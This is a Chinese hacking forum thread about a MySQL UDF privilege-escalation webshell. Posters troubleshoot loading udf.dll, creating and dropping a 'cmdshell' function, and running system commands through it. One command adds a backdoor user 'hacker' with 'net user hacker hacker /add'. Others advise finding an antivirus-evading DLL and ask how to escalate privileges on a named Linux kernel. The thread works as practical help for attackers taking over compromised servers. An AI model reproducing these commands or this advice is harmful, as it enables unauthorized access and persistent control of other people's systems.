[讨论]langouster的mysql提权马问题!
langouster的那个提权的PHP马 我第一次提权成功了 在系统上加了用户后来因为丢了权限 就回去重新加,但原来的udf.dll文件存在了`好像不能被覆盖了。
我用Create Function cmdshell returns string soname "udf.dll"
提示:Function 'cmdshell' already exist 功能cmdshell存在? 但我进数据库已经把那个表删除了的
啊!!!既然存在,那我就去执行 select cmdshell('net user')
但不成功提示:You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '('net user')' at line 1
大虾门看看怎么回事``` SQL语法错误 select cmdshell('net user')
有这样的SQL语句 select可以这样用吗? 后面应该还要个[color=#FF0000];[/color] 删除存储过程cmdshell再添加一次
drop function cmdshell;
Create Function cmdshell returns string soname 'udf.dll'; [quote]引用第4楼jackchenlei于2007-08-19 21:05发表的 :[/quote]
可能因为你上次提权后没有删除功能函数
删除功能函数cmdshell后再添加一次
drop function cmdshell;
Create Function cmdshell returns string soname 'udf.dll'; 我也遇到了,奇怪的错误! 怀疑dll被查杀了
数据库查讯出错,请检查SQL语句Create Function cmdshell returns string soname 'udf.dll';的语法是否正确。Can't open shared library 'udf.dll' (errno: 0 ) 被杀了。 用UDF提权时开始倒入时无法显示该业然后就是错误:创建临时表Temp_Tab出错。Table 'temp_tab' already exists删除后再来还是一样的情况 请问有什么好的办法吗? ROOT权限... [s:269] 大象大象~~~~ 语法问题 请楼上高人说详细点好不... 可以的话加我Q292415227谢谢 ````LINUX哪位提权会的啊
uname -r 2.4.21-27.ELsmp
有目录浏览权限 怎么提权哪位知道告知下
装了MYSQL (有root密码)
Zend
PHP 4.4.2
Apache 2.0 Handler
开放SSH ;
楼主的sql语句最后没有加 ; 这个,显示的是不完整的sql语句。
select cmdshell('net user hacker hacker /add');
这样的没问题。 cmdshell('net user')
Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLast
-----------------------------------
执行cmdshell的时候遇到这个.不知道什么原因.. 楼上的Shell无法启动是cmd被删或者system的使用权限被删。 cmdshell('net user')
Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLast
我也遇到这问题:mad: ,有没有解决办法呢?请教.:loveliness: 导出到c:\windows\udf.dll 成功
执行create function cmdshell returns string soname 'udf.dll' 出错
数据库查讯出错,请检查SQL语句create function cmdshell returns string soname 'udf.dll'的语法是否正确。Can't open shared library 'udf.dll' (errno: 0 )
这是什么原因? 如果是udf.dll被查杀,那该怎么办? 寻找免杀的UDF.DLL 看不懂啊! 只怪咱不懂!
页:
[1]